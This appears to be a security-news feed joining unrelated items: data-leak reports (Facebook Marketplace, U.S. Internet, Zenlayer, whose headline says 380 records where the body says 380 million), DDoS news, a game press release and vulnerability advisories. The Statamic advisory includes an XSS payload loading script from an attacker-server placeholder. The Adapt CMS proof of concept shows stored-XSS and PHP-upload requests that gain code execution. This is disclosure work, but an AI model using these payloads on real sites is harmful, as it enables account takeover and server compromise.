Personal data belonging to 200,000 Facebook Marketplace users has been published online, including email addresses and phone numbers.

Personal data belonging to Facebook Marketplace users has been published online, according to BleepingComputer.

A cybercriminal was allegedly able to steal a partial database after hacking the systems of a Meta contractor.

The leak consists of around 200,000 records that contain names, phone numbers, email addresses, Facebook IDs, and Facebook profile information of the affected Facebook Marketplace users. BleepingComputer was able to verify the some of the data.

Marketplace was introduced by Facebook in 2016 and quickly became a popular platform to sell items to local buyers. It’s often preferred over other marketplaces because you can find or sell items locally that would be too expensive to ship, but you can easily pick up yourself.

Smaller businesses also use it as well to get their ecommerce side of the business started. Statistics say that every month, on average 40% of Facebook users are Marketplace users, and an estimated 485 million or 16% of active users log in to Facebook for the sole purpose of shopping on Facebook Marketplace.

Depending on the buyer of the leaked data, both the email addresses and the phone numbers could be used in phishing attacks. Phishing is the art of sending an email with the aim of getting users to open a malicious file or click on a link to then steal credentials. The combination of email addresses and phone numbers could also be used in SIM swapping attacks.

SIM swapping, also known as SIM jacking, is the act of illegally taking over a target’s cell phone number. This can be done in a number of ways, but one of the most common methods involves tricking the target’s phone carrier into porting the phone number to a new SIM which is under the control of the attacker. Having control over or access to the victim’s email combined with the knowledge of the associated phone number makes a SIM swap relatively easy.

**Protect yourself from a SIM card swap attack**

*   **Don’t reply to calls, emails, or text messages that request personal information.** Should you get a request for your account or personal information, contact the company asking for it by using a phone number or website that you know is real.
*   **Limit the personal information you share online.**
*   **Set up a PIN or password on your cellular account.** This could help protect your account from unauthorized changes. Check your provider’s website for information on how to do this.
*   **Use Multi-Factor Authentication (MFA), especially on accounts with sensitive personal or financial information.** If you do use MFA, keep in mind that text message verification may not stop a SIM card swap. If you’re concerned about SIM card swapping, use an authentication app or a security key.

If you want to find out how much of your own data is exposed online, you can try our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you most frequently use) and we’ll send you a report.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using Malwarebytes Identity Theft Protection.

 Facebook Marketplace users’ stolen data offered for sale 

Today, we are adding a new Security Advisory tab to the Security Update Guide to meet our customers’ needs for a unified and authoritative source for the latest public information about Microsoft security updates and issues.
We are continuously listening to feedback from users of the Security Update Guide. Our goal is to find new and improved ways to help customers manage security risks and keep their systems protected.

Today, we are adding a new Security Advisory tab to the Security Update Guide to meet our customers’ needs for a unified and authoritative source for the latest public information about Microsoft security updates and issues.

We are continuously listening to feedback from users of the Security Update Guide. Our goal is to find new and improved ways to help customers manage security risks and keep their systems protected.

In response to your feedback, the Security Advisory tab will provide information on security events or issues that do not meet the criteria for a Coordinated Vulnerability & Exposure (CVE) assignment. It will also provide additional information that does not fit in the industry standard CVE format. The Security Advisory tab will provide Microsoft customers with centralized information relevant to security incidents and security issues affecting their environments, applications, and services.

Microsoft Security Response Center (MSRC) blogs related to security events will also be integrated into the Security Advisory Tab to further simplify the customer experience and provide a comprehensive “one-stop-shop” for Microsoft security disclosures. We encourage customers to subscribe to the Security Update Guide for notifications about CVE and Advisory publications.

The first Advisory has been published Microsoft-Identity-ASP.NET-WebApp-OpenIDConnect Sample Code Advisory and serves as an example of the type of content we will provide via this new mechanism.

As always, we welcome feedback on this new feature and other improvements here.

New Security Advisory Tab Added to the Microsoft Security Update Guide

By Waqas
Is your ChatGPT down? Or, are you experiencing issues accessing ChatGPT? If so, you’re not alone. ChatGPT has…
This is a post from HackRead.com Read the original post: ChatGPT Down? Anonymous Sudan Claims Responsibility for DDoS Attacks

Is your ChatGPT down? Or, are you experiencing issues accessing ChatGPT? If so, you’re not alone. ChatGPT has been encountering service disruptions and numerous errors lately. The cause appears to be DDoS attacks, possibly instigated by Anonymous Sudan.

Anonymous Sudan, a now prominent group of hacktivists, has claimed responsibility for targeting ChatGPT and its parent company, OpenAI, with a series of DDoS attacks.

Anonymous Sudan also referenced alleged tweets attributed to Tal Broda, Head of Research Platform at OpenAI. The screenshots of these tweets depict Tal denying the existence of Palestine and criticizing calls for a ceasefire in Gaza.

According to Anonymous Sudan, they plan to continue their DDoS attacks until OpenAI implements behavioural changes to ChatGPT to prevent the propagation of what they deem as “dehumanizing views of Palestinians.” Additionally, they demand the removal of Tal Broda from his position at OpenAI.

Anonymous Sudan on Telegram (Screenshots: Hackread.com)

On the contrary, ChatGPT’s Status Page confirms service disruptions, including login issues. It also notes an “Elevated error rate impacting ChatGPT,” indicating a higher-than-usual number of errors occurring within the system or process. Such errors could arise from various factors, including faulty hardware, software bugs, network issues, DDoS attacks, or even human error.

Nevertheless, OpenAI is actively monitoring the situation and working to resolve the issue. However, as of now, there has been no official confirmation or acknowledgement from OpenAI regarding the company experiencing cyber attacks or the specific reasons behind the ChatGPT errors that users have been reporting since this afternoon.

****Anonymous Sudan vs ChatGPT and OpenAI****

This isn’t the first instance where Anonymous Sudan has claimed responsibility for DDoSing ChatGPT. Last November, the group made similar claims, and OpenAI acknowledged that its infrastructure was indeed targeted by DDoS attacks.

For expert commentary, we reached out to Oded Vanunu, Head of Product Vulnerability Research at Check Point Software. Vanunu linked Anonymous Sudan’s DDoS attacks to a strategy aimed at garnering media attention.

“Russian-affiliated groups Anonymous Sudan and SkyNet have claimed responsibility for the latest outages on the OpenAI website and ChatGPT service. This is according to an ‘official spokesperson’ for Anonymous Sudan going by the name of Crush on Telegram,” said Oded.

“Hacktivists often look for high-profile targets to disrupt in order to bring attention to themselves and in this case, Crush claims the groups attacked OpenAI due to the company’s perceived support of Israel.”

****Anonymous Sudan’s Recent Activities****

Anonymous Sudan has been notably active in recent times. According to a recent report by Hackread.com, the group has conducted DDoS attacks on various targets, including the Israeli BAZAN Group and the United Arab Emirates-based FlyDubai Airline.

Furthermore, the group targeted Thuraya Mobile Satellite Communications Company, an international mobile-satellite service (MSS) provider headquartered in Dubai, United Arab Emirates (UAE). In both attacks on UAE-based infrastructure, Anonymous Sudan claimed that the UAE’s support for the Rapid Support Forces (RSF) was evident through communication channels.

It’s worth noting that the RSF is a paramilitary force previously operated by the Government of Sudan and has been accused by hacktivists of committing war crimes against the Sudanese people.

1.  **Hackers Target Israeli Rocket Alert App Users with Spyware**
2.  **10 Top DDoS Attack Protection and Mitigation Companies in 2023**
3.  **Google, Cloudflare and AWS Disclose Largest DDoS Attack in History**
4.  **Hackers Send Fake Rocket Alerts to Israelis via Hacked Red Alert App**
5.  **Researchers Leverage ChatGPT to Expose Notorious macOS Malware**
6.  **WormGPT – Malicious ChatGPT Alternative Empowering Cybercriminals**

ChatGPT Down? Anonymous Sudan Claims Responsibility for DDoS Attacks

By Owais Sultan
Debut Title Overworld Designed Around Multiplayer Role-Playing Action.
This is a post from HackRead.com Read the original post: Overworld secures $10M for cross-platform ARPG development

**LOS ANGELES – Feb. 14, 2024 –** Game studio Overworld, building high-quality, cross-platform multiplayer RPGs, has closed a seed round of $10M, led by Hashed alongside The Spartan Group, Sanctor Capital and Galaxy Interactive, with notable participation from Hashkey, Big Brain Holdings and Foresight Ventures, to accelerate development on a multiplayer role-playing experience enhanced with digital collectables.

Codenamed _Overworld_, the rich, cross-platform fantasy universe has been in development for nearly a year at its namesake studio. The Xterio ecosystem incubated the project by providing initial funding and tech contributions and is committed to supporting the project through its development, notably as it leverages digital ownership to fuel its growth and expand its community further.

_Overworld,_ a third-person 3D action role-playing game developed with Unreal Engine 5, brings players together in a universe that blends high fantasy lore with anime-inspired characters and designs in a compelling storyline that focuses on mixing epic-scale stakes with day-to-day relatable stories. The team is currently focused on developing an alpha build for current-gen consoles, PCs and mobile devices.  

_Overworld_ aims at delivering an experience that competes with best-in-class RPGs with compelling game design and world-class visual quality while implementing player ownership in a frictionless and optional way that adds to the experience – rather than relying on it as the primary feature to build the game on top of.

Overseeing _Overworld_’s development is Jeremy Horn, Xterio’s COO, who has an extensive career in games, technology, and entertainment. Formerly Vice President of Strategy at Jam City, Horn is a games industry veteran with deep expertise in developing and sustaining top-grossing social games spanning new and existing IP.  The team comprises proven hit-makers who worked with Epic, EA, Sony, Bioware, Jam City and Ubisoft. 

“At Overworld, we are focused on building an incredible, dynamic game world driven by the player community,” said Horn. “The massive scale of _Overworld_ represents the scale of our ambitions as a game studio. In just one year, we’ve seen our player community embrace our first collection of digital collectables, and we are excited to build out even more of this novel world.” 

_Overworld_ will be published by Xterio, based on the games platform tech of the Xterio Foundation, which is backed by top-grossing mobile developers, including FunPlus. Xterio focuses on infusing F2P and cross-platform games with digital collectables.

_Overworld’_s recent NFT collection, “Overworld Incarna,” is one of the most successful collections of 2023 in revenue, volume, market value, and marketing reach. Overworld Incarna has been in the top ten traded collections for over five weeks and remains one of the most traded game-themed collections.

“_Overworld_, the flagship social RPG from the established Xterio platform, is poised to redefine online multiplayer RPGs in the crypto space by targeting the masses. With a strong leader who understands the dynamics of web3 and backed by an experienced team with a strong track record, _Overworld_ is poised for success in the web3 gaming space,” said Ryan Kim, Founding Partner, Hashed. “With a user-driven economy and unparalleled industry expertise at the right time, _Overworld_ is poised for innovation and resilience.”

****About Overworld****

Overworld is a world-class game development studio building cross-platform free-to-play games built around player ownership. A proven team of free-to-play hit-makers leads the team. To learn more about Overworld, please follow along @OverworldPlay and at overworld.games. 

****About Xterio****

Xterio Foundation in Switzerland was founded with a Council and a team of technology and entertainment leaders with deep free-to-play games experience, on a mission to provide the platform technology and ecosystem enabling the development, publishing, and distribution of high-quality Web2 and Web3 games and interactive entertainment.

Xterio Labs Limited in Hong Kong has a team of technology and entertainment leaders with deep free-to-play games experience operating the Xterio Platform including various services relating to the publishing and distribution of high-quality Web2 and Web3 games and interactive entertainment.  To learn more, please visit xter.io, and follow along at Discord and @XterioGames.

****Press Contact****

*   Sibel Sunar
*   \[email protected\] 
*   Fortyseven communications for Xterio

1.  **What is Blockchain Gaming and its Play-to-Earn Model?**
2.  **The Rise of Blockchain Gaming and Secure Marketplaces**
3.  **Metaverse is connected to crypto – but not so much to Bitcoin**

Overworld secures $10M for cross-platform ARPG development

The Minnesota-based Internet provider U.S. Internet Corp. has a business unit called Securence, which specializes in providing filtered, secure email services to businesses, educational institutions and government agencies worldwide. But until it was notified last week, U.S. Internet was publishing more than a decade's worth of its internal email -- and that of thousands of Securence clients -- in plain text out on the Internet and just a click away for anyone with a Web browser.

The Minnesota-based Internet provider **U.S. Internet Corp.** has a business unit called **Securence**, which specializes in providing filtered, secure email services to businesses, educational institutions and government agencies worldwide. But until it was notified last week, U.S. Internet was publishing more than a decade’s worth of its internal email — and that of thousands of Securence clients — in plain text out on the Internet and just a click away for anyone with a Web browser.

Headquartered in Minnetonka, Minn., U.S. Internet is a regional ISP that provides fiber and wireless Internet service. The ISP’s Securence division bills itself “a leading provider of email filtering and management software that includes email protection and security services for small business, enterprise, educational and government institutions worldwide.”

U.S. Internet/Securence says your email is secure. Nothing could be further from the truth.

Roughly a week ago, KrebsOnSecurity was contacted by Hold Security, a Milwaukee-based cybersecurity firm. Hold Security founder **Alex Holden** said his researchers had unearthed a public link to a U.S. Internet email server listing more than 6,500 domain names, each with its own clickable link.

A tiny portion of the more than 6,500 customers who trusted U.S. Internet with their email.

Drilling down into those individual domain links revealed inboxes for each employee or user of these exposed host names. Some of the emails dated back to 2008; others were as recent as the present day.

Securence counts among its customers dozens of state and local governments, including: **nc.gov** — the official website of North Carolina; **stillwatermn.gov**, the website for the city of Stillwater, Minn.; and **cityoffrederickmd.gov**, the website for the government of **Frederick, Md**.

Incredibly, included in this giant index of U.S. Internet customer emails were the internal messages for every current and former employee of U.S. Internet and its subsidiary **USI Wireless**. Since that index also included the messages of U.S. Internet’s **CEO Travis Carter**, KrebsOnSecurity forwarded one of Mr. Carter’s own recent emails to him, along with a request to understand how exactly the company managed to screw things up so spectacularly.

Individual inboxes of U.S. Wireless employees were published in clear text on the Internet.

Within minutes of that notification, U.S. Internet pulled all of the published inboxes offline. Mr. Carter responded and said his team was investigating how it happened. In the same breath, the CEO asked if KrebsOnSecurity does security consulting for hire (I do not).

\[Author’s note: Perhaps Mr. Carter was frantically casting about for any expertise he could find in a tough moment. But I found the request personally offensive, because I couldn’t shake the notion that maybe the company was hoping it could buy my silence.\]

Earlier this week, Mr. Carter replied with a highly technical explanation that ultimately did little to explain why or how so many internal and customer inboxes were published in plain text on the Internet.

“The feedback from my team was a issue with the Ansible playbook that controls the Nginx configuration for our IMAP servers,” Carter said, noting that this incorrect configuration was put in place by a former employee and never caught. U.S. Internet has not shared how long these messages were exposed.

“The rest of the platform and other backend services are being audited to verify the Ansible playbooks are correct,” Carter said.

Holden said he also discovered that hackers have been abusing a Securence link scrubbing and anti-spam service called **Url-Shield** to create links that look benign but instead redirect visitors to hacked and malicious websites.

“The bad guys modify the malicious link reporting into redirects to their own malicious sites,” Holden said. “That’s how the bad guys drive traffic to their sites and increase search engine rankings.”

For example, clicking the Securence link shown in the screenshot directly above leads one to a website that tries to trick visitors into allowing site notifications by couching the request as a CAPTCHA request designed to separate humans from bots. After approving the deceptive CAPTCHA/notification request, the link forwards the visitor to a Russian internationalized domain name (рпроаг\[.\]рф).

The link to this malicious and deceptive website was created using Securence’s link-scrubbing service. Notification pop-ups were blocked when this site tried to disguise a prompt for accepting notifications as a form of CAPTCHA.

U.S. Internet has not responded to questions about how long it has been exposing all of its internal and customer emails, or when the errant configuration changes were made. The company also still has not disclosed the incident on its website. The last press release on the site dates back to March 2020.

KrebsOnSecurity has been writing about data breaches for nearly two decades, but this one easily takes the cake in terms of the level of incompetence needed to make such a huge mistake unnoticed. I’m not sure what the proper response from authorities or regulators should be to this incident, but it’s clear that U.S. Internet should not be allowed to manage anyone’s email unless and until it can demonstrate more transparency, and prove that it has radically revamped its security.

U.S. Internet Leaked Years of Internal, Customer Emails

By Waqas
Another day, another Cloud database leak in the wild!
This is a post from HackRead.com Read the original post: Massive Cloud Database Leak Exposes 380 Records

The researcher who discovered the database leak suspects it belongs to Zenlayer, an on-demand cloud server provider. However, uncertainty persists as the company has not provided any response or confirmation.

_Update: 20:44, Feb 14, 2024, GMT – Article updated with statement from Zenlayer spokesperson._

We’re aware of the data exposure, have patched the issue, and are engaged with the researcher who originally discovered the data leak. We’ll provide additional information when the investigation is complete.

Jeremiah Fowler, a cybersecurity researcher, stumbled upon something quite alarming: a cloud database leak allegedly belonging to the global network service provider Zenlayer, left unprotected and misconfigured. What’s even more shocking is the sheer volume of sensitive data it contained: a staggering 380 million records.

****384,658,212 records – 57.46 GB of Database****

Upon further digging into the server, the analysis revealed a disturbing truth. The leaked information wasn’t just limited to mundane details; it encompassed the company’s internal workings and, even more concerning, customer data. In total, a jaw-dropping 384,658,212 records, totaling 57.46 GB, were laid bare for all to see.

What’s truly alarming is that this treasure trove of data wasn’t safeguarded by even a basic password. It was out there in the open, accessible to anyone, including those with malicious intent. Essentially, it was a “come and take it, no questions asked” scenario, leaving the door wide open for potential exploitation by threat actors.

****Trove of Records Leaked****

Within this database, numerous servers, error, and monitoring logs were found documenting both internal operations and customer activities. While these logs play a vital role in monitoring server performance, troubleshooting issues, and ensuring system security, they also carry a potential threat.

For your information, Zenlayer is a global network services provider offering SD-WAN, CDN, and cloud services to global brands in the telecom, gaming, media, entertainment, cloud computing, and blockchain sectors. Headquartered in Los Angeles and Shanghai, it has over 290 data centres across six continents. In 2021, Financial Times ranked it third on America’s Fastest Growing Telecom Companies list.

Exposing these logs to the public eye could disclose sensitive information. What was meant to be a tool for enhancing operational efficiency and safeguarding against potential threats could quickly turn into a liability if mishandled or accessed by unauthorized individuals.

The server also contained logging records for various applications, dashboards, vendors, notifications, and security. The exposed customer data, including names and emails of authorized individuals, could be used for targeted phishing attacks or fraudulent activities. For example, attackers may pose as a Zenlayer salesperson and ask for payment or banking information.

Additionally, the database exposure not only exposed sensitive information like user roles but also disclosed internal email addresses. This data could prove invaluable for cybercriminals, facilitating scams and social engineering attacks.

With access to these emails, malicious actors could carry out phishing campaigns targeting employees, potentially leading to the disclosure of confidential data, the installation of malware, and the compromise of credentials.

****Russian Data****

Fowler’s blog post on Website Planet reveals that part of the records was data of a Russian telecom carrier company, partially owned by a sanctioned state-controlled company, accused of involvement in internet traffic hijacking, or BGP (Border Gateway Protocol) hijacking, which allows attackers to intercept, inspect, or modify network traffic.

However, Fowler clarified that he wasn’t claiming that a Zenlayer customer was involved in the BGP hijacking.

Fowler also discovered logs containing VPN records and numerous IP addresses, including controller host IP, controller IP, IP LAN, jumper IP, and PXE IPMI. These IPs may reveal the organization’s internal network architecture, potentially allowing attackers to map the network, identify targets, or plan future cyberattacks.

Nevertheless, public access was secured the day after Fowler notified Zenlayer. It is unknown if the database was being managed by Zenlayer or a third party, how long it was exposed, and who else may have gained access.

Fortunately, thanks to Fowler’s prompt responsible disclosure, the administrators managed to secure the exposed database within a day. Despite this swift action, the company failed to acknowledge or respond to the researcher’s efforts. Therefore, there remains uncertainty regarding whether the database was under Zenlayer’s direct management or handled by a third party.

****Update: 20:44, Feb 14, 2024, GMT –****

In a statement to Hackraed.com, a Zenlayer spokesperson confirmed awareness of the issue, now patched. The company is also in contact with Fowler.

> _We’re aware of the data exposure, have patched the issue, and are engaged with the researcher who originally discovered the data leak. We’ll provide additional information when the investigation is complete._
> 
> Zenlayer Spokesperson

1.  **Cigna Health Data Leak: 17 Billion Records Exposed**
2.  **7TB of Healthcare Data Leak Affects 12 Million Patients**
3.  **Researcher Exposes Crypto Scam Network of 300 Domains**
4.  **US Credit Union Service Leaks Millions of Records, Passwords**
5.  **Database Leak Exposes 500K Irish Police Vehicle Seizure Records**
6.  **Data Leak Exposes 1.5B Real Estate Records, Including Kylie Jenner**

Massive Cloud Database Leak Exposes 380 Records

Statamic CMS versions prior to 4.46.0 and 3.4.17 suffer from multiple persistent cross site scripting vulnerabilities.

SEC Consult Vulnerability Lab Security Advisory < 20240212-0 >  
=======================================================================  
               title: Multiple Stored Cross-Site Scripting vulnerabilities  
             product: Statamic CMS  
  vulnerable version: <4.46.0, <3.4.17  
       fixed version: >=4.46.0, >=3.4.17  
          CVE number: CVE-2024-24570  
              impact: high  
            homepage: https://statamic.com/  
               found: 2024-01-06  
                  by: Niklas Schilling (Office Munich)  
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business  
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"Statamic is a modern, clean, and highly adaptable CMS built on Laravel  
that can run full-stack, headless, on flat files or databases, or as a  
static site generator."

Source: https://statamic.com/

Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately. Furthermore,  
an updated guideline for implementing a Content Security Policy (CSP) is  
provided by the vendor.

SEC Consult highly recommends to perform a thorough security review of the  
product conducted by security professionals to identify and resolve potential  
further security issues.

Vulnerability overview/description:  
-----------------------------------  
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)  
Statamic's Forms feature allows unauthenticated users to upload certain  
filetypes. While only a limited number of file extensions are allowed, it's  
possible to bypass these restrictions to upload an HTML file containing  
JavaScript code.

2) Stored Cross-Site Scripting in Link Field  
Statamic's Link Field feature provides authenticated users a convenient way  
of inserting Hyperlinks into a collection's entry. It was identified that  
it's possible to execute JavaScript code upon clicking on a specially  
crafted Hyperlink.

Proof of concept:  
-----------------  
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)  
When trying to upload an HTML file as an unauthenticated user, the  
.html extension gets correctly detected by Statamic, leading to the file  
being blocked from uploading.

This check can be bypassed though, by instead using a .jpg file extension,  
as files of this type are allowed to be uploaded. Afterwards, the file's  
content is analyzed by Statamic and correctly interpreted as HTML, resulting  
in the initial .jpg extension being replaced with an .html extension. As no  
checks on this newly set file extension are performed, the file is now shown  
as a valid submission in Statamic's "Forms" page.

If an authenticated user accesses this submission, the included JavaScript  
code will be executed. This can be verified by uploading a file called  
"test.jpg" with the following content:

<!DOCTYPE html>  
<html>  
     <body>  
         <script>alert("Stored XSS on "+window.origin)</script>  
     </body>  
</html>

To further demonstrate the criticality of this vulnerability, the following  
JavaScript code can be used:

[ POC code removed from public advisory ]

When an admin user now accesses this JavaScript submission, the following happens:  
1. Load the "Users" page in a hidden iframe and extract the CSRF token from it.  
2. Request user information and extract the user ID and email address from  
    the response.  
3. Request a password reset code for the extracted used ID.  
4. Extract the password reset code from the response and send it to the  
    attacker server including the user's email address.

After receiving the victim's password reset code and email address,  
the attacker can now visit the following URL and set a new password:  
https://<STATAMIC_SERVER>/!/auth/password/reset/<PASSWORD_RESET_CODE>

This results in a successful takeover of the victim's account.

2) Stored Cross-Site Scripting in Link Field  
When using a Link Field of type "URL", the following XSS payload can be used  
as input:  
javascript:var js=document.createElement('script');js.src='https://<ATTACKER_SERVER>/poc.js';document.body.append(js)

As this input is typically placed in the "href" attribute of an anchor tag,  
the JavaScript pseudo protocol can be used to execute arbitrary JavaScript  
code upon clicking on the Hyperlink. In this case the external file "poc.js"  
will be loaded, which contains the JavaScript code from the password reset  
code stealer above (removed from public advisory).

This way, an authenticated user with lower privileges can gain control over an  
admin's account after the admin clicks on the malicious Hyperlink.

Statamic's "sanitize" modifier doesn't prevent this attack, as no illegal  
characters are being used in the XSS payload:  
<a href="{{ url_link | sanitize }}">Link</a>

Vulnerable / tested versions:  
-----------------------------  
The following version has been tested which was the latest version available  
at the time of the test:  
* 4.45.0

The following Statamic CMS versions are affected by this vulnerability:  
* <4.46.0  
* <3.4.17

Vendor contact timeline:  
------------------------  
2024-01-24: Contacting vendor through support@statamic.com  
2024-01-24: Vendor confirms receipt of advisory and states that they aim to  
             resolve the issues within the next few days.  
2024-01-26: Vendor fixes the first stored XSS and shares the corresponding  
             GitHub security advisory draft. Furthermore, valid arguments for  
             mitigating the second stored XSS via a correctly set CSP are  
             supplied. Vendor also creates a new documentation page for  
             setting the CSP in the correct areas.  
2024-01-26: Confirming that setting a correctly configured CSP for the  
             necessary areas results in a higher efficiency in mitigating the  
             second security issue.  
2024-01-29: Suggesting an adjustment of the assigned CVSS3.1 score that was  
             set in the vendor's GitHub security advisory. Also asking for  
             planned public disclosure and the assignment of a CVE number.  
2024-01-29: Vendor adjusts CVSS3.1 score and suggests requesting a  
             CVE number via GitHub.  
2024-01-30: Received CVE number CVE-2024-24570.  
2024-02-12: Coordinated release of advisory.

Solution:  
---------  
The vendor provided a patch for the "Stored Cross-Site Scripting in Forms" feature  
(CVE-2024-24570):

* Update version "4.X" to "4.46.0" or later  
* Update version "3.X" to "3.4.17" or later

Get the newest release of Statamic CMS here:  
https://github.com/statamic/cms/releases

The vendor will not provide a patch regarding "Stored Cross-Site Scripting in  
Link Field" but suggests to implement a correctly configured CSP as described  
in Statamic's newly added documentation page:

https://statamic.dev/tips/content-security-policy

Vendor advisory:  
https://github.com/statamic/cms/security/advisories/GHSA-vqxq-hvxw-9mv9

Workaround:  
-----------  
No workaround available.

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Eviden business  
Europe | Asia

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF Niklas Schilling / @2024

Statamic CMS Cross Site Scripting

Adapt CMS version 3.0.3 suffers from persistent cross site scripting and remote shell upload vulnerabilities.

# Exploit Title: Stored XSS and RCE - adaptcmsv3.0.3  
# Date: 02/2024  
# Exploit Author: Andrey Stoykov  
# Version: 3.0.3  
# Tested on: Ubuntu 22.04  
# Blog: http://msecureltd.blogspot.com

 *Description*

- It was found that adaptcms v3.0.3 was vulnerable to stored cross  
site scripting

- Also the application allowed the file upload functionality to upload  
PHP files which resulted in remote code execution

*Stored XSS*

*Steps to Reproduce:*

   1. Login as admin and add a new article  
   2. In "Title" add the following payload <svg><animate  
onbegin=alert(1) attributeName=x dur=1s>  
   3. The stored XSS would be triggered upon visiting the article by  
normal user

// HTTP POST request

POST /adaptcms/admin/articles/preview/?preview=1 HTTP/1.1

Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

_method=PUT&data%5B_Token%5D%5Bkey%5D=357ba58e7871f0849edd3c623771a379e2fc1a2c&*data%5BArticle%5D%5Btitle%5D=%3Csvg%3E%3Canimate+onbegin%3Dalert(1)+attributeName%3Dx+dur%3D1s%3E*&data%5BArticleValue%5D%5B0%5D%5Bdata%5D=%3Cp%3ETest%3C%2Fp%3E[...]

// HTTP GET request

GET /adaptcms/admin/articles/preview HTTP/1.1  
Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

// HTTP response

HTTP/1.1 200 OK  
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40  
mod_perl/2.0.8-dev Perl/v5.16.3  
[...]

[...]  
<!DOCTYPE html>  
<html lang="en">  
<head>  
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  *<title>*  
*    AdaptCMS 3.0.3 | <svg><animate onbegin=alert(1) attributeName=x  
dur=1s>  </title>*  
[...]

*Unrestricted File Upload*

*Steps to Reproduce:*

   1. Login as admin and visit the "Media" page  
   2. Click on "Files" then use the "Add File" functionality  
   3. In "File Contents" add the following PHP code <?php phpinfo(); ?>

// HTTP POST request

POST /adaptcms/admin/files/add HTTP/1.1  
Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

[...]  
------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
*Content-Disposition: form-data; name="data[0][File][dir]"*

*uploads/*  
------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
Content-Disposition: form-data; name="data[0][File][mimetype]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
Content-Disposition: form-data; name="data[0][File][filesize]"

------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
*Content-Disposition: form-data; name="data[File][content]"*

*<?php phpinfo(); ?>*  
------WebKitFormBoundaryVO2wc6i6YcQWk3oU  
[...]

// HTTP response

HTTP/1.1 302 Found  
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40  
mod_perl/2.0.8-dev Perl/v5.16.3  
X-Powered-By: PHP/5.6.40  
*Location: http://192.168.232.133/adaptcms/admin/files  
<http://192.168.232.133/adaptcms/admin/files>*  
[...]

// HTTP GET request

GET /adaptcms/uploads/*test-php.php* HTTP/1.1  
Host: 192.168.232.133  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63  
Safari/537.36  
[...]

// HTTP response

HTTP/1.1 200 OK  
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40  
mod_perl/2.0.8-dev Perl/v5.16.3  
X-Powered-By: PHP/5.6.40  
[...]

[...]  
<h1 class="p">*PHP Version 5.6.40*</h1>  
</td></tr>  
</table>  
<table>  
<tr><td class="e">System </td><td class="v">*Linux ubuntu  
6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12  
18:54:30 UTC 2 x86_64* </td></tr>  
[...]

Adapt CMS 3.0.3 Cross Site Scripting / Shell Upload

Varying revisions of OX App Suite version 7.10.6 suffer from cross site scripting and resource consumption vulnerabilities.

Dear subscribers,

We're sharing our latest advisory with you and like to thank everyone who contributed in finding and solving those vulnerabilities. Feel free to join our bug bounty programs for OX App Suite, Dovecot and PowerDNS at YesWeHack.

This advisory has also been published at https://documentation.open-xchange.com/appsuite/security/advisories/html/2023/oxas-adv-2023-0007.html.

Yours sincerely,  
  Martin Heiland, Open-Xchange GmbH

Internal reference: OXUIB-2599  
Type: CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))  
Component: frontend  
Report confidence: Confirmed  
Solution status: Fixed by vendor  
Last affected revision: OX App Suite frontend 7.10.6-rev38  
First fixed revision: OX App Suite frontend 7.10.6-rev39  
Discovery date: 2023-10-18  
Solution date: 2023-12-01  
CVE: CVE-2023-41708  
CVSS: 5.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)

Details:  
XSS using script code as module at app loader. References to the "app loader" functionality could contain redirects to unexpected locations.

Risk:  
Attackers could forge app references that bypass existing safeguards to inject malicious script code. No publicly available exploits are known.

Solution:  
Please deploy the provided updates and patch releases. References to apps are now controlled more strict to avoid relative references.

---

Internal reference: MWB-2366  
Type: CWE-400 (Uncontrolled Resource Consumption)  
Component: backend  
